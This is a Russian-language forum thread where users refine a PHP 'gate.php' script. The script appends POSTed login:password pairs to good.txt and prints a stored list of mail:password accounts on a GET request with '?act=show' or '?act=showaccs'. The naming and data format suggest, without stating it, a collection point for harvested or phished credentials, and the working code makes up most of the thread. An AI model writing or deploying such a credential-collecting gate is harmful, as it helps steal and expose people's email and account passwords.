например у меня на сервере лежит файл Accounts.txt bи есть файл gate.php файл Accounts.txt cсодержит данные следующего типа: Code: mail:password Задача. как сгенерировать html-страницу, с содержанием файла, если я подам GET-запрос на сервер следующим образом: http://domainname.com/gate.php?act=showaccs ???
#1 PHP: <?php if(isset($_GET['act']) && $_GET['act'] == 'showaccs') { $file = str_replace("\n",'<br />', file_get_contents('accounts.txt')); echo $file; } ?> #2 PHP: <?php if(isset($_GET['act']) && $_GET['act'] == 'showaccs') { $file = file("accounts.txt"); foreach($file as $line) { echo $line."<br />"; } } ?>
вот еще вопрос. Даже при пустом запросе, lдобавляются знаки : в файл. Как этого избежать? PHP: <?php error_reporting(0); $accs = 'good.txt'; $good = fopen($accs,"a+"); fwrite($good, "$_POST[login]:$_POST[password]\n"); fclose($good); fclose($bad); if(isset($_GET['act']) && $_GET['act'] == 'show') { $file = str_replace("\n",'<br />', file_get_contents('good.txt')); echo $file; } ?>
Поставь вначале проверку. PHP: if(!empty($_POST['login']) && !empty($_POST['password'])) ... Но будет пропускать пробелы.
Вот так ) PHP: <?php error_reporting(0); if (!empty($_POST[login]) or !empty($_POST[password])){ $accs = 'good.txt'; $good = fopen($accs,"a+"); fwrite($good, "$_POST[login]:$_POST[password]\n"); fclose($good); fclose($bad); if(isset($_GET['act']) && $_GET['act'] == 'show') { $file = str_replace("\n",'<br />', file_get_contents('good.txt')); echo $file; } } ?> ток поидее перенос строки будет \r\n а у тебя прост \n
Mailbrush А в чем разница от Null и 0 ? 2 m0Hze ну mailbrush просто показал, что код можно значительно сократить =\ О производительности и функциональности тут не дискутировали